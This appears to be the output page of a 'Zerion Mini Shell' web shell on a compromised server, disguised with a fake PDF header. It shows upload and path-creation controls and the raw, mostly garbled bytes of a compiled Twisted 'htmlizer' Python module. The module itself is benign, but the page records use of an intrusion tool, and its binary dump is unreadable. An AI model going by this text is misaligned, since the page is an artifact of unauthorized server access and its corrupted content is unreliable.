%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/twisted/scripts/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/twisted/scripts/__pycache__/htmlizer.cpython-312.pyc

�

Ϫ�f"��~�dZdddZddlZddlZddlmZddlmZmZdZ	d	Z
d
ZdZGd�d
ej�Z
d�Zy)z.
HTML pretty-printing for Python source code.
z$Revision: 1.8 $�����N)�	copyright)�htmlizer�usagez�<html><head>
<title>%(title)s</title>
<meta name="Generator" content="%(generator)s" />
%(alternate)s
%(stylesheet)s
</head>
<body>
z</body>z3<link rel="stylesheet" href="%s" type="text/css" />z?<link rel="alternate" href="%(source)s" type="text/x-python" />c���eZdZdjej
j
ejd��Z	dgZ
ejejdd��g��Zd�Zy	)
�Optionsz{} [options] source.py
    r)�
stylesheet�sNzURL of stylesheet to link to.z*.pyzsource python file)�descr)�extraActionsc��||d<y)N�filename�)�selfrs  �:/usr/lib/python3/dist-packages/twisted/scripts/htmlizer.py�	parseArgszOptions.parseArgs/s��#��Z��N)�__name__�
__module__�__qualname__�format�os�path�basename�sys�argv�synopsis�
optParametersr�Completions�
CompleteFiles�compDatarrrrr	r	!sl�����
��������!��%�	�
�	C��M�!�u� � �)�e�)�)�&�8L�M�N��H�$rr	c���t�}	|j�|d}|jd��t|dfz}nd}t|dzd�5}t|dtj��td|iz|d	�z}|j|j!d
��t|d�5}t#j$||t"j&�ddd�|jt(j!d
��ddd�y#tj$r4}t	t|��t
jd�Yd}~��'d}~wwxYw#1swY��xYw#1swYyxYw)N�rr
�z.html�wbz	htmlizer/�source)�title�	generator�	alternater
zutf-8�rb)r	�parseOptionsr�
UsageError�print�strr�exit�get�	styleLink�open�headerr�longversion�
alternateLink�write�encoder�filter�SmallerHTMLWriter�footer)�options�err
�output�	outHeader�fs       r�runrA3sC���i�G�������z�"�H��{�{�<� �,��'�,�"7�!9�9�
��
�	
�h�� �$�	'�
-�6���$�Y�%:�%:�$;�<�&�(�H�)=�=�$�	
�
�	�	���Y�%�%�g�.�/�
�(�D�
!�	C�Q��O�O�A�v�x�'A�'A�B�	C����V�]�]�7�+�,�
-�
-������
�c�!�f�
����������"	C�	C��
-�
-�s<�D�AE�&&E�,E�E�)E�E�E	�E�E )�__doc__�__version__rr�twistedr�twisted.pythonrrr4r;r2r6r	rArrr�<module>rFsQ���
!��B�'��	�
��*�
��
��A�	�Q�
�$�e�m�m�$�$-r

Zerion Mini Shell 1.0